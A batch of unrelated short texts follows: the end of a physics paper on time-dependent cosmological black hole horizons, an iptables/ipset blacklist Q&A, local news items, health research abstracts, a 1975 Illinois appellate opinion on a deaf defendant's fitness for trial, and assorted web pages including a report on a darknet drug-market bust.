The case of a charged McVittie spacetime with $|Q|=m$ can be treated explicitly as the relevant expressions simplify considerably in this case. The areal radius is simply $ R=ar+m \geq m$ and the equation locating the apparent horizons becomes = R\^4 ( R-m )\^2 or S(R) R\^2( R-m ) = in an expanding universe. The function $S(R)$ is a cubic with a local maximum of zero value at $R=0$ and a local minimum (of value $-4m^3/27$) at $R=2m/3$; in the physical range $ m \leq R <
+\infty $ it is always increasing, starting from zero at $R=m$ and going to infinity as $R\rightarrow +\infty$. Therefore, for any $t>0$ there is one and only one intersection between the graph of the function $S(R)$ and the horizontal line with ordinate value $1/4H= \frac{3t}{8}>0$ (where, as usual, we assume $a(t)=a_0t^{2/3}$ for a dust-dominated FLRW “background”), [*i.e.*]{}, there is always one and only one apparent horizon with a radius which increases as the universe expands. (A detailed analysis of the apparent horizons of the charged McVittie spacetime, including the extremal case, will be reported elsewhere.)
\[section4\]Conclusions
=======================
The cosmological black holes reported here are just toy models for dynamical black hole horizons: the main point is that realistic black holes are time-dependent, not stationary. Therefore, far-reaching conclusions about the quantization of black hole horizon areas, or of quantities which are quadratic in the radii of Killing horizons (generalized areas), may be misleading and may not correspond to realistic, time-dependent, situations. It is interesting to probe the conjecture about mass-independence and generalized area quantization using examples of time-varying black holes in 4-dimensional general relativity before approaching higher-dimensional black objects in supergravity or stringy objects. Exact solutions of the field equations of Einstein theory describing time-varying black holes are not easy to find and we resort to the more well known cosmological black holes to provide examples of time-dependent black holes—the cosmological “background” is not conceptually essential here. In general, AHs depend on the spacetime foliation [@foliationdependence] but in the presence of spherical symmetry, to which we have restricted ourselves, this does not appear to be a significant problem. For the McVittie metric (as well as for its special Schwarzschild-de Sitter-Kottler static case) there are generalized areas which are independent of the black hole mass. However, even if they can be expressed as $8\pi l_{pl}^2$ times a combination of integers at some initial time, this expression changes as time goes by. The corresponding quantities for the generalized accreting McVittie and the electrically charged McVittie black holes are mass- and time-dependent.
Variations on the theme can be contemplated. If only the black hole and the cosmological AHs are retained and considered as physical, their area will be zero at all times $0<t<t_{*}$; zero is an integer, allright, but this interpretation entails an entropy suddenly jumping from zero (describing a naked singularity in a FLRW “background”) to a value not reducible to a combination of integers and depending on the black hole mass. If the cosmological AH is excluded from the picture, then there remains only the black hole AH, the area of which is initially zero, then jumps to a positive value, and then decreases monotonically as time goes by (see fig. \[figure1\]). More complicated black holes with multiple AHs will lend themselves to the consideration of more possible combinations of the AH radii, but probably the most sensible way to proceed is to include all AH radii, even virtual ones, when searching for quantizable, mass-independent quantitites, as done in [@Visser]. When realistic time-dependent horizons are considered, however, the connection between products of areas and combinations of integers becomes even more speculative and perhaps it would be better to put it on a firmer ground or finding out its limits of validity before assuming it as a postulate or a necessary accessory of the holographic principle. This conclusion reinforces that of Visser [@Visser0; @Visser] that the black holes of 4-dimensional general relativity do not seem to reconcile with the usual quantization rules (\[expression1\]) and (\[expression2\]) and casts serious doubts on the universality of these expressions.
VF is grateful to Matt Visser for a discussion. This work is supported by grants from Bishop’s University and the Natural Sciences and Engineering Research Council of Canada.
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[^1]: The special case of a de Sitter “background” admits a timelike Killing vector and is locally static in the region between the black hole and the de Sitter cosmological horizons.
[^2]: In the first case both decelerating and accelerating FLRW “background” universes are considered while in the second case, by necessity, only a dust-dominated “background” is considered.
|
Q:
Loading Blacklist of IPs from a file into IPTABLES
In a separate file I'm creating a list of IP addresses to be blocked. This file will have IPs added in or removed on a daily basis. I want to "reference" this IP File into /etc/sysconfig/iptables, but I'm not sure if that is possible. If yes, please describe how to do that (ie: ExternalList=/var/tmp/myblacklist.txt) ???
If that type of reference isn't possible in IPTABLES, what would be a good script to add entries from myblacklist.txt into iptables and remove entries from iptables which no longer appear in the myblacklist.txt file?
I'm honestly looking for a simple bash script that might utilize sed. Otherwise, I think I'll trend down the road of putting all the IPs I want to allow/block into an MySQL table and just setting up a script to compile a new iptable on a daily basis. This way mods can be done in the sql DB and the iptables will just print whatever is in the DB. But before I choose that option, could I get away with some simple bash script?
A:
You should investigate using the ipset module for this:
http://ipset.netfilter.org/
Simply add all the IP addresses into a set, and then setup a single iptables rule which drops/rejects packets against that set.
Also easy to manage as you can add, remove and empty the set easily, and generally modify it "on the fly", as and when required.
|
Authorities are currently searching for a man suspected of shooting his neighbor Friday night.
Guy Phillip Digrazia, 46, who was just released from prison in October after serving over three years on drug charges, is wanted for questioning in the shooting of Roger Gary Driggers, 57.
According to the Calhoun County Sheriff’s Office, Driggers alleges Digrazia pulled a gun, pointed it at his chest, then shot him in his foot during an argument Friday night at the Breakaway Drag Strip where they both reside in separate trailers.
Law enforcement officers began searching for Digrazia and his female companion, Felicia Marie Bontrager, 32. The car the couple reportedly left the scene in was located at a motel in Youngstown.Bontrager was found in a mobile home behind the motel and said she didn’t know Digrazia’s whereabouts. However, he reportedly phoned while investigators were there, but didn’t speak when she answered the phone.
Driggers was treated by EMS at the scene. During an interview in his trailer, investigators spotted bags that appeared to contain cocaine residue. Driggers gave consent to a search that turned up a meth pipe and marijuana, along with the suspicious bags.
The investigation is continuing. Anyone with information on the whereabouts of Digrazia is urged to contact the Sheriff’s Office at 674-5049. |
Do you accept payment with credit cards?
Yes, we now accept payments by credit cards for the Saratoga County Property Tax bill. There is a convenience fee of 2.4 percent for this transaction. You can go to the Receiver of Taxes page on the Town of Halfmoon website to make this payment. You can also make online payments in this page with a $1.75 convenience charge. |
Effectiveness of ketamine as an adjuvant to opioid-based therapy in decreasing pain associated with opioid tolerance in adults undergoing orthopedic surgery: a systematic review protocol.
The objective of this systematic review is to examine the best available evidence on the clinical effectiveness of ketamine as an adjuvant to opioid-based therapy versus opioid-based therapy alone in decreasing perioperative pain associated with opioid tolerance in adult patients, aged 18-70 years, undergoing orthopedic surgical procedures.The following question guides the systematic review: does the administration of ketamine as an adjuvant to opioid-based therapy, compared to opioid-based therapy alone, improve perioperative pain relief in opioid-tolerant adult patients undergoing orthopedic surgical procedures? |
Health-related quality of life surveillance--United States, 1993-2002.
Population-based surveillance of health-related quality of life (HRQOL) is needed to promote the health and quality of life of U.S. residents and to monitor progress in achieving the two overall Healthy People 2010 goals: 1) increase the quality and years of healthy life and 2) eliminate health disparities. This report examines surveillance-based HRQOL data from 1993 through 2002. Survey data from a validated set of HRQOL measures (CDC HRQOL-4) were analyzed for 1993-2001 from the Behavioral Risk Factor Surveillance System (BRFSS) surveys for the 50 states and the District of Columbia (DC) and for 2001-2002 from the National Health and Nutrition Examination Survey (NHANES). These measures assessed self-rated health; physically unhealthy days (i.e., the number of days during the preceding 30 days for which physical health, including physical illness and injury, was not good); mentally unhealthy days (i.e., the number of days during the preceding 30 days for which mental health, including stress, depression, and problems with emotions, was not good); and days with activity limitation (i.e., number of days during the preceding 30 days that poor physical or mental health prevented normal daily activities). A summary measure of overall unhealthy days also was computed from the sum of a respondent's physically unhealthy and mentally unhealthy days, with a maximum of 30 days. During 1993-2001, the mean number of physically unhealthy days, mentally unhealthy days, overall unhealthy days, and activity limitation days was higher after 1997 than before 1997. During 1993-1997, the percentage of respondents with zero overall unhealthy days was stable (51%-53%) but declined to 48% by 2001. The percentage of respondents with >/=14 overall unhealthy days increased from 15%-16% during 1993-1997 to 18% by 2001. Adults increasingly rated their health as fair or poor and decreasingly rated it as excellent or very good. Women, American Indians/Alaska Natives, persons of "other races," separated or divorced persons, unmarried couples, unemployed persons, those unable to work, those with a <$15,000 annual household income, and those with less than a high school education reported worse HRQOL (i.e., physically unhealthy days, mentally unhealthy days, overall unhealthy days, and activity limitation days). Older adults reported more physically unhealthy days and activity limitation days, whereas younger adults reported more mentally unhealthy days. A seasonal pattern was observed in physically unhealthy days and overall unhealthy days. During 1993-2001, BRFSS respondents in 13 states reported increasing physically unhealthy days; respondents in 13 states and DC reported increasing mentally unhealthy days; respondents in Alabama, Connecticut, Maine, New Jersey, New Mexico, North Carolina, and Oregon reported both increasing physically and mentally unhealthy days; and respondents in 16 states and DC reported increasing activity limitation days. During 2001-2002, NHANES respondents with one or more medical conditions (e.g., arthritis or stroke) reported worse HRQOL than those without such conditions, and those with an increasing number of medical conditions reported increasingly worse HRQOL. Policy makers and researchers should continue to monitor HRQOL and its correlates in the U.S. population. In addition, public health professionals should expand monitoring to populations currently missed by existing surveys, including institutionalized and homeless persons, adolescents, and children. A key aspect is to study and identify the personal and community determinants of HRQOL in prevention research and population studies, to understand how to improve HRQOL, and to reduce HRQOL disparities. In addition, population health assessment professionals should continue to refine and validate HRQOL, functional status, and self-reported health measures. |
26 Ill. App.3d 648 (1975)
325 N.E.2d 305
THE PEOPLE OF THE STATE OF ILLINOIS, Plaintiff-Appellee,
v.
DONALD LANG, Defendant-Appellant.
No. 57560.
Illinois Appellate Court First District (5th Division).
February 14, 1975.
*649 David Lowell Slader, of Portland, Oregon, for appellant.
Bernard Carey, State's Attorney, of Chicago (Patrick T. Driscoll, Jr., and Jerome Charles Randolph, Assistant State's Attorneys, of counsel), for the People.
Reversed and remanded.
Mr. JUSTICE SULLIVAN delivered the opinion of the court:
Defendant, a deaf mute who was never taught to read or write or to use the sign language and was unable to communicate with anyone in any language, was, nevertheless, tried by a jury and found guilty of the murder of Earline Brown. He was sentenced to 14 to 25 years.
On appeal, it is contended (1) his conviction is constitutionally impermissible absent trial procedures to effectively compensate for his disabilities; (2) the evidence is insufficient to prove his guilt beyond a reasonable doubt; (3) he was denied a fair trial by the introduction of *650 incompetent and prejudicial evidence; and (4) the prosecutor's characterization of his attorney as a racist was plain error.
From the evidence, which was largely uncontested, it appears that defendant was seen leaving a tavern with Earline Brown, and a short time later they were observed entering and going to a room in the Viceroy Hotel. Within an hour or two thereafter, defendant was observed returning to the lobby of the hotel where he picked up and then hung up the house phone, after which he left the room key at the desk and left the hotel. The next day another couple discovered the body of Earline Brown stuffed in an upside-down position in the closet of the hotel room, with a large pool of blood under her body. She had been physically beaten about the head, face and chest. Death was determined to have been caused by asphyxiation. The hotel room had apparently been wiped clean of fingerprints.
Defendant was arrested the same day and, while in custody, the arresting officers observed what appeared to be blood spots on defendant's socks. A laboratory test of his clothing determined there were bloodstains on his pants and socks which were of the same blood type as deceased and dissimilar to defendant's own blood. In addition, minute green paint specks of similar chemical composition were found on defendant's pants and Earline Brown's clothing.
There was testimony that defendant had been employed for 12 to 13 years loading and unloading trucks; that he was "pretty strong," and could load and unload trucks by himself.
While defendant was in custody, one of the police officers attempted to communicate with him as to why he was being held. The officer testified that defendant took the pen from the officer's hand and made a drawing on a piece of paper on the table. The drawing consisted of a jagged line in the shape of a stick, and the officer stated that when defendant drew this stick figure he pointed to it and then pointed to himself. He then drew another figure on the other side and indicated, at least to the officer, that this was a woman. He then pointed to both figures and moved them up to the top of the jagged line, where he made an "X." He then indicated three fingers, pointed to himself with the three fingers, and then he pointed to the figure of the woman. He then crossed the woman out with another "X" and pointed to himself again. The following is a reproduction of the drawing made by defendant, which was admitted as an exhibit during his trial.
OPINION
The contention that defendant's conviction was constitutionally impermissible centers on the question of his competency to stand trial.
*651
This was initially brought into focus in the case of People ex rel. Myers v. Briggs, 46 Ill.2d 281, 263 N.E.2d 109.[1] There, the same defendant was indicted in December, 1965, for the murder of a woman, accomplished in the same manner and in similar circumstances as the murder of Earline Brown in the instant case. In Myers, defendant was first found mentally and then physically incompetent to stand trial by separate juries. Judgments were entered on their verdicts and, pursuant to section 104-3(b) of the Code of Criminal Procedure (Ill. Rev. Stat. 1965, ch. 38, par. 104-3(b)),[2] he was committed to the Department of Mental Health until he became competent.
Two years later, Superintendent Edelson, of the Mental Health Institution where defendant was committed, concluded in a letter to the Department's attorney that:
"[H]e will never acquire the necessary communication skills needed to participate and cooperate in his trial. He has rejected all our efforts to instruct him and has refused to participate and cooperate with his instructor. The probability for his acquiring the necessary communication skills at any future date is unlikely.
* * *
*652 It is apparent now that Donald's future must be decided in a court of law. He will not be able to communicate even in the limited sense as we had first anticipated."
Defendant's attorney, in Myers, then filed a petition for habeas corpus, contending that in effect defendant had been committed for life without ever having been given a trial. On appeal, after denial of the petition by the trial court, the Illinois Supreme Court held that defendant should have been given a trial, stating at page 288:
"This court is of the opinion that this defendant, handicapped as he is and facing an indefinite commitment because of the pending indictment against him, should be given an opportunity to obtain a trial to determine whether or not he is guilty as charged or should be released."
The case was then reinstated, but the State was unable to proceed to trial because of the death of its principal witness, and defendant was released.
It appears that no further action was taken concerning the physical or mental condition of defendant until his indictment in the instant case for the murder in July, 1971, of Earline Brown, following which the public defender moved for a competency hearing, and defendant was examined by the Psychiatric Institute of the Circuit Court. His condition was diagnosed as "mental retardation with emotional instability: * * * not competent to stand trial." However, no competency hearing was held. At trial, he was represented by the court appointed counsel who handled his appeal in the Myers case.
Thus, when the instant case was brought to trial in January, 1972, by virtue of the reasoning of Myers, defendant had the choice of being committed as he had been before, as being incompetent to stand trial, pursuant to section 104-1 et seq. of the Code of Criminal Procedure (Ill. Rev. Stat. 1971, ch. 38, par. 104-1 et seq.), or to stand trial. His attorney understandingly chose the risk of trial rather than the indicated life confinement as an incompetent.
The trial judge, required by Myers to allow defendant his choice of trial, was then confronted with the comment in Myers that procedures be provided to assure defendant's constitutional rights, as stated at page 287:
"The general rule in handling the trial of a criminal defendant who is handicapped by deafness, blindness or other affliction is that a trial judge should afford such a defendant reasonable facilities for confronting and cross-examining the witnesses as the circumstances will permit. He need only give such aid to intelligent appreciation of the proceeding as a sound discretion may suggest. *653 The fact of blindness or deafness of the accused may lessen the ability and capacity of the defendant to utilize his constitutional rights, but this will not prevent his being subject to trial. In the proper administration of justice, however, the court should give a person accused of crime a reasonable opportunity to obtain the benefit of his constitutional rights. If he is deaf, such opportunity as may be necessary should be allowed for communication to him of the testimony of the witnesses to insure him a full and fair exercise of his legal rights. The exact manner in which this result should be arrived at must depend on the circumstances of the case and, to a considerable extent, be left to the sound discretion of the court. 14 Am. Jur., § 181, p. 892."
This comment, at least to some extent, seemed to be based on certain other conclusions of Superintendent Edelson; namely, (1) it was his impression that, "Donald is functioning at a nearly normal level of performance in areas other than communication"; (2) "he is capable of fairly complex operations"; and (3) that his commitment "is based on physical and mental incompetence and the probability of appropriate functioning in the former area is doubtful."
Although the court in the above-set-forth comment referred to protective procedures in handling the trial of a defendant handicapped by deafness, blindness or other affliction, it gave no indication as to how a trial judge should conduct the trial of a defendant who could not communicate. Nevertheless, from our examination of the record, it is apparent that the very able trial judge here, insofar as was possible, conducted the trial in accordance with the Myers dictates, but it also appears quite clear that there were no trial procedures which could effectively compensate for the handicaps of a deaf mute with whom there could be no communication.
1 It is also evident that defendant was incompetent to stand trial, as this phrase was then defined in section 104-1.[3] (Ill. Rev. Stat. 1971, ch. 38, par. 104-1.) In Myers, defendant had been found physically and mentally incompetent, and no action had been taken prior to the trial of the instant case to restore his competency. Under such circumstances, it is presumed that the conditions continue. (People v. Santoro, 13 Ill. App.3d 426, 301 N.E.2d 175.) Furthermore, after his indictment *654 here, the Psychiatric Institute of the Circuit Court found him mentally retarded and incompetent to stand trial. Most significantly, the following admission of defendant's incompetence appears in the State's brief:
"The defendant, Donald Lang, has been totally deaf since infancy. It was uncontested at his trial that he has always been unable to communicate in any manner save the most obvious of physical gestures. There can be no doubt that the nature and extent of the defendant's disabilities made it impossible for him to understand the nature of the charge against him or to assist his attorney with his defense."
That his incompetency was unquestioned is further indicated from the record, which discloses that his trial attorney stated in the motion for new trial that repeated efforts to communicate with defendant were futile; that the remaining members of defendant's family all testified they have never been able to communicate with him beyond the pantomime of simple requests; and that four counsellors and teachers of the deaf testified they were unable to achieve any meaningful communication with him.
In Pate v. Robinson, 383 U.S. 375, 15 L.Ed.2d 815, 86 S.Ct. 836, the United States Supreme Court held that the conviction of a defendant not competent to assist in his own defense violates due process unless there are compensating procedures to overcome his handicap. Later, that court, in Jackson v. Indiana, 406 U.S. 715, 32 L.Ed.2d 435, 92 S.Ct. 1845, held that the indefinite pretrial commitment of one permanently incompetent to stand trial violated his equal protection and due process rights, stating at page 738:
"[T]hat a person charged by a State with a criminal offense who is committed solely on account of his incapacity to proceed to trial cannot be held more than the reasonable period of time necessary to determine whether there is a substantial probability that he will attain that capacity in the foreseeable future. If it is determined that this is not the case, then the State must either institute the customary civil commitment proceeding that would be required to commit indefinitely any other citizen, or release the defendant."
In view of the foregoing, we have reached a number of conclusions:
2 1. Although defendant's attorney chose the risk of trial for him rather than an indicated permanent confinement as an incompetent, we do not accept the State's contention that defendant should be bound by this choice. It was made by his attorney but, because of the lack of communication, it appears quite obvious that defendant could not have participated in the decision;
*655 2. We disagree with the contention of the State that our inquiry should be directed toward the issue of whether the State's evidence is so strong that the possibility of rebuttal by a normal defendant would be so slight as to preclude any reasonable doubt of defendant's guilt. We believe that to review on such a basis would be in violation of the constitutional mandates of Jackson, Pate and Myers, which foreclose the trial and conviction of an incompetent criminal defendant unless procedures were devised to compensate for his disabilities;
3. Because of the total lack of ability to communicate with defendant, it appears that practical trial procedures could not be provided to compensate for his disabilities;
4. That absent such special trial procedures to negative the effect of his incompetency, he could not be constitutionally tried or convicted;
3 5. From our examination of the record, we disagree with the contention of defendant that the evidence was insufficient to prove his guilt beyond a reasonable doubt. There was positive identification of defendant leaving the tavern with Earline Brown and entering the hotel a short time later. There was also positive testimony that he came down from the room an hour or two later and was seen picking up the house phone, dropping the room key at the desk and then leaving the hotel. Her body was found in the room rented to them. In addition, there was testimony that she had been physically beaten which, in the opinion of Dr. Kearns, was by means of a blunt instrument such as a club or a fist. Furthermore, it was determined that the defendant had type "O" blood and deceased had type "B" blood, and that the bloodstains on defendant's clothing were of type "B." There was also testimony from hotel employees that no other persons were seen in the vicinity of the room, and that there was no screaming or loud talk heard coming from the room. We believe that the evidence was factually sufficient to support the charge.
Because required trial procedures were not provided as mandated by Myers, Jackson and Pate, the trial in the instant case was constitutionally impermissible, and the conviction of defendant must be reversed and the case remanded.
In view of the above conclusions, it will not be necessary to consider the remaining contentions of defendant (1) that he was denied a fair trial because of the admission of improper evidence; and (2) that a comment by the prosecutor that his attorney was a racist constituted plain error.
4 This brings us to the question of the future disposition of the charge against defendant. In this regard, we note that the problems associated with the disposition of a defendant with whom there can be no *656 communication are difficult and complicated. Historically, the concept of incompetency to stand trial is an extension of the common-law ban against trials in absentia. At common law, it was believed that the incompetent defendant was mentally "absent" from the trial and would not be able to recall evidence or produce evidence that might acquit him or permit him to properly assume the role of defendant, and thus he would be deprived of his due process rights.
However, withholding a criminal trial until competent to stand trial, with the resultant possibility of permanent commitment, is more unfair to the incompetent defendant. This problem was recognized by the court in Myers but, as pointed out above, the court did not suggest or indicate the procedures that could be provided to protect defendant's rights. Jackson, although prohibiting the indefinite commitment of persons permanently unfit to stand trial or persons who will not be restored to fitness within a reasonable period of time, also left unanswered the question of the trial procedures necessary to effectively compensate for the inability to communicate.
In Illinois, it is apparent that the legislature was cognizant of the problem from its repeal of section 104-1 et seq. of the Code of Criminal Procedure, in effect at the time of defendant's trial, which provided, among other things, that a person not competent to stand trial because of a mental condition "shall be committed to the Department of Mental Health during the continuance of that condition."
Replacing that section, as of January 1, 1973, is section 5-2-1 et seq. of the Unified Code of Corrections (Ill. Rev. Stat. 1973, ch. 38, par. 1005-2-1 et seq.).
Subsection (a) thereof provides that a defendant is unfit to stand trial or to be sentenced if, because of a mental or physical condition, he is unable:
"(1) to understand the nature and purpose of the proceedings against him; or
(2) to assist in his defense."
We note also that the United States Supreme Court in Dusky v. United States, 362 U.S. 402, 402, 4 L.Ed.2d 824, 825, 80 S.Ct. 788, stated the test for determining competency to stand trial as follows:
"`* * * [W]hether he has sufficient present ability to consult with his lawyer with a reasonable degree of rational understanding and whether he has a rational as well as factual understanding of the proceedings against him.'"
Here, it appears that defendant presently remains incompetent to stand trial because (1) he was found to be mentally and physically incompetent *657 in Myers and, no restoration action having been taken, there is a presumption that the conditions continue (Santoro); (2) the record clearly establishes the past inability to communicate with defendant; and (3) the State has admitted in its brief that "there can be no doubt that the nature and extent of defendant's disabilities made it impossible for him to understand the nature of the charge against him or to assist his attorney with his defense."
It might be said that there remains no question as to defendant's incompetency to stand trial and, indeed, that this court could so find and, on remandment, that we should direct that he be hospitalized under the provisions of section 5-2-2, which, among other things, provides in subparagraph (a) that "the court shall remand the defendant to a hospital, as defined by the Mental Health Code of 1967,[4] and shall order that a hearing be conducted in accordance with the procedures, and within the time periods, specified in such Act." However, we will not direct this course of action, for the following reasons:
(1) There is the possibility that his condition may have improved to the extent that he may not now be unfit to stand trial, in which event compensating trial procedures should be devised for his retrial if any disability remains;
(2) There has been no finding of defendant's unfitness to stand trial, as defined in subparagraph (a) of section 5-2-1 of the Unified Code of Corrections, which replaced the defining section in effect at the time of his trial; and
(3) There has been a change in the language from "incompetence" to stand trial "because of a mental condition" in the repealed section to "fitness" to stand trial "because of a mental or physical condition." The Council Commentary (S.H.A., ch. 38, par. 1005-2-1) states that, "Fitness speaks only to a person's ability to function within the context of trial, whereas the term `competence' is a mental health term dealing with whether an individual should be committed to an institution or not, and excludes consideration of physical fitness."
Subsection (c) of section 5-2-1 provides that "when a bona fide doubt of the defendant's fitness to stand trial or be sentenced is raised, the court shall order that a determination of that question be made before further proceedings."
5 Here, it is our opinion that a bona fide doubt exists as to defendant's *658 present fitness to stand trial and that a new hearing should be held. Therefore, we direct, on remandment, that the trial court order a determination of that question, as provided in section 5-2-1. Thereupon, if defendant is found fit for trial, he shall be retried with procedures provided to compensate for existing disabilities, if there be any, as required by Myers, Jackson and Pate. If he is found unfit, the trial court shall proceed in accordance with the provisions of section 5-2-2. Thereafter, if he should be found fit for trial, methods should be provided to compensate for any disabilities.
The concern of the State, in view of the strong circumstantial proof of murder here and because he was allegedly a murderer in Myers (both murders were accomplished in the same manner and in similar circumstances), that defendant might be released and thus present a potential danger to society should be allayed, because (1) under the present Mental Health Code, he could be institutionalized if (a) he is found to be a person in need of mental treatment, as defined in section 1-11 of the Mental Health Code, or (b) if he is found to be mentally retarded, as defined in section 1-12; and (2) that although subsection (a) of section 5-2-2 of the Unified Code of Corrections provides that the question of whether to institutionalize is determined at a civil commitment hearing under the Mental Health Code, subsection (b) provides for review at stated intervals by the trial court of the issue of continued hospitalization.
6 It would appear that subsections (b) and (c) of section 5-2-2 were intended by the legislature to remove the possibility of the permanent commitment of an incompetent defendant. As we stated above, subsection (b) provides for periodic review of the commitment issue and subsection (c) limits any possible confinement in a mental health institution to the maximum sentence that could be imposed for the offense charged and provides for dismissal when that term is reached. It is noted that section 5-8-1 of the Unified Code of Corrections provides that the maximum term for murder shall be "any term in excess of 14 years." It should also be noted that Jackson requires that the commitment of an incompetent defendant should be for only a "reasonable" length of time and should be justified by progress toward restoration. Jackson did not set any standard as to what would be reasonable, leaving it to the facts and circumstances of each particular case and, in the instant case, if defendant is confined, it will only be after periodic re-examinations by the trial court that the question of the reasonableness of the length of his confinement may be determined.
In any event, we are of the opinion that the procedures outlined above *659 satisfy, although minimally,[5] the requirements of Myers, Jackson and Pate and, having reversed the conviction, we remand with directions that action be taken consistent with the content of this opinion.
Reversed and remanded with directions.
DRUCKER and LORENZ, JJ., concur.
NOTES
[1] The complete title is The People ex rel. Lowell J. Myers, on behalf of Donald Lang v. John F. Briggs, Director of the Department of Public Health.
[2] "§ 104-3. Commitment of Incompetent.
(b) A person who is found to be incompetent because of a mental condition shall be committed to the Department of Mental Health during the continuance of that condition."
[3] "§ 104-1. For the purpose of this Article, `incompetent' means a person charged with an offense who is unable because of a mental condition:
(a) To understand the nature and purpose of the proceedings against him; or
(b) To assist in his defense; or
(c) After a death sentence has been imposed, to understand the nature and purpose of such sentence."
[4] Ill. Rev. Stat. 1973, ch. 91 1/2, par. 1-1 et seq.
[5] We understand that mental health problems are presently under study by the Governor's Commission for Review of the Mental Health Code in Illinois. This Commission, chaired by Judge Joseph Schneider, is considered to be eminently qualified in this field. It is hoped that their study and recommendations will include the difficulties occasioned in the disposition of charges against incompetent criminal defendants.
|
TMBA 066 (LBP66) – The Tao of the Hustle
In this week’s episode, Dan and Ian talk about hustling. Most people are better at talking about hustling than actually getting it done. Tweeting that you are hustling doesn’t mean you’re hustlin’. :)
Just sitting in front of your laptop for 60 hours/week is not enough. If you listen to this episode, “The Tao of the Hustle”, you’ll learn the character traits that make an authentic hustler.
In the quick tips section you’ll learn of a tool that makes working at night less eye-straining. If you are a Reddit-fan you will also appreciate the Reddit enhancer that helps you waste even more time on Reddit.
If you’ve found the podcast at all helpful or entertaining, we’d love if you could click over to our iTunes page and give us a positive review. This will help us to get more listeners and invest more in the podcast! If you know some ways we can make it better, please send us an email. Dan at lifestyle business podcast . com.
This is awesome stuff! I found myself vigorously taking notes and replaying parts to make sure I heard everything. I just started following you guys and I’ve been cycling through old shows all day long trying to soak it all up. Thanks for this! |
The White Bear Lake real estate market is one of the ideal places to start searching for your next Minnesota home. It’s a prominent suburb of the Twin Cities and it has a lot to offer families and singles. If you have kids and you want them to get a quality education, the White Bear Lake schools are ranked highly with parents and administrators. Schools like Vadnais Elementary School, Parkview Elementary School and others have teachers that want to prepare students for success so you can be confident in sending your children to any of the schools in the area.
When searching for the best home, you should also consider the neighborhood in which it is located. White Bear Lake neighborhoods include Eagle Shores and several others. With the help of a local realtor, you can explore the features and amenities that each neighborhood has so you can find the one that accommodates your needs the best.
Your White Bear Lake realty company is Homegevity. We have served the real estate needs of the greater Twin Cities area and beyond for years and our clients continue to come back to us for all of their buying and selling needs. We have what it takes to help you find the home that you want so schedule an appointment with our certified White Bear Lake real estate agents to see why we have the best reputation in the region.
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Biznes & Baltiya
Biznes & Baltiya () was a business newspaper published in Latvia.
References
Category:Business newspapers
Category:Defunct newspapers of Latvia
Category:Defunct daily newspapers
Category:Russian-language newspapers published in Latvia
Category:Media in Riga
Category:Business in Latvia
Category:1991 establishments in Latvia
Category:Publications established in 1991
Category:2014 disestablishments in Latvia
Category:Publications disestablished in 2014 |
Earlier this year it was reported that Apple is developing augmented reality features that will eventually appear in glasses after coming first to iPhones. Now a newly leaked document may have accidentally acknowledged Apple’s prototype AR glasses for the first time.
Gizmodo reports that it has acquired a safety incident document accidentally distributed to Apple employees that mentions a prototype device that has caused eye strain for testers.
An incident report compiled by an Environment Health and Safety contractor working for Apple mistakenly sent to hundreds of Apple employees and leaked to Gizmodo includes tantalizing clues about some of the new products the notoriously secretive tech company may be cooking up. The report includes over 70 different incidents.
Incidents in the report appear to have occurred in February and March which offers a timeline for the possible AR glasses prototype testing based on the document’s title: Impact Descriptions Reported in [Santa Clara Valley] from Last Month.
Specifically, two incidents cited refer to a prototype relating to eyes that caused issues. The first occurred in late February:
“After BT4 user study, user advised study lead, that she experienced discomfort in her eye and said she was able to see the laser flash at several points during the study. Study lead referred her to optometrist and secured prototype unit for analysis.”
The second incident occurred a few days later in the following month:
“Employee reported eye pain after working with new prototype, thought it may be associated with use. He noticed that the security seal on the magenta (outer) case had been broken and had thought the unit may have been tampered with.”
Gizmodo reports that its source within Apple believes the prototype mentioned may be related to the AR glasses product that is being developed internally. Apple’s AR glasses project is said to be at least a year away from launching.
The report also details other curious and rather random incidents including an employee opening a problematic box of Apple Pencils with bad batteries:
“Employee was opening a box of used Apple Pencils in [room number redacted]. As soon as she opened the box, a strong odor emanated from within the box. The employee, who is familiar with lithium battery odors, identified two Pencils as the odor source. She suspected the Pencils were leaking electrolytes.”
Another employee reported a knee injury when skiing in the Tahoe area to test Apple Watch functionality which sounds like a job that might be worth the occasional bumped knee.
You can read the full piece here. At any rate, Tim Cook has certainly made it no secret that Apple has plans for AR in some form or another (and its take on Google Glass may be causing a few issues in its current prototype state).
FTC: We use income earning auto affiliate links. More.
Check out 9to5Mac on YouTube for more Apple news: |
Search
Download Linux PowerPC64
Download in 1 big file:
fpc-3.0.4.powerpc64-linux.tar (57 MB)
contains a standard tar archive, with an install script
After untarring the archive, you can run the install script in the created
directory by issuing the command "sh install.sh". |
This file photo shows a collection of samples of different drugs on display at the Museum of Drugs of Mexico City, pictured in 2008. US authorities have announced the bust of an online narcotics "Farmers Market" where people around the globe could buy LSD, ecstasy and other illicit substances.
US authorities announced the bust of an online narcotics "Farmers Market" where people around the globe could buy LSD, ecstasy and other illicit substances.
Fifteen people were arrested as the result of a two-year-long investigation code-named "Project Adam Bomb" and involved law enforcement in Scotland, Colombia, the Netherlands and the United States, the US Justice Department said in a statement.
"The drug trafficking organization targeted in Operation Adam Bomb was distributing dangerous and addictive drugs to every corner of the world, and trying to hide their activities through the use of advanced anonymizing online technology," said Drug Enforcement Administration (DEA) acting special agent in charge Briane Grey.
Eight men named in a criminal indictment were suspected of operating a "Farmers Market" online storefront that allowed suppliers to advertise narcotics and consummate deals with shoppers.
Six of the alleged "conspirators" lived in the United States, with a seventh being a US citizen living in Argentina.
Marc Willems, 42, was described as the "lead defendant" in the case and was taken into custody on Monday at his home in the Netherlands, officials said.
The eight men face drug trafficking and money laundering charges "stemming from their creation and operation of a secret online narcotics marketplace" that brokered sales of the substances in 24 countries, according to the Justice Department.
In addition to the eight men named in the indictment, authorities arrested seven others -- two more in the Netherlands, and five in the United States -- involved in the case.
Officials said the virtual marketplace provided order forms, online forums, customer service, delivery guarantees, even mainstream payment tools including PayPal and Western Union.
Market operators purportedly charged commissions based on values of orders.
Approximately $1.04 million worth of drug sales were processed at the online market between January 2007 and October of 2009, according to investigators.
The online drug market was said to have thousands of registered users, and investigators identified customers in every US state as well as in 34 other countries.
The drug menu at the market reportedly included mescaline, LSD, ecstasy, and high-end marijuana.
Farmers Market, which was named "Adamflowers" when the operation launched, operated on a TOR network of encrypted Internet connections and relays crafted prevent websites and digital communications from being traced.
"Illegal narcotics trafficking now reaches every corner of our world, including our home computers," said US attorney for the Central District of California Andre Birotte, whose office is handling prosecution of the case.
Explore further 19 arrested in US for credit card, identity theft ring
(c) 2012 AFP |
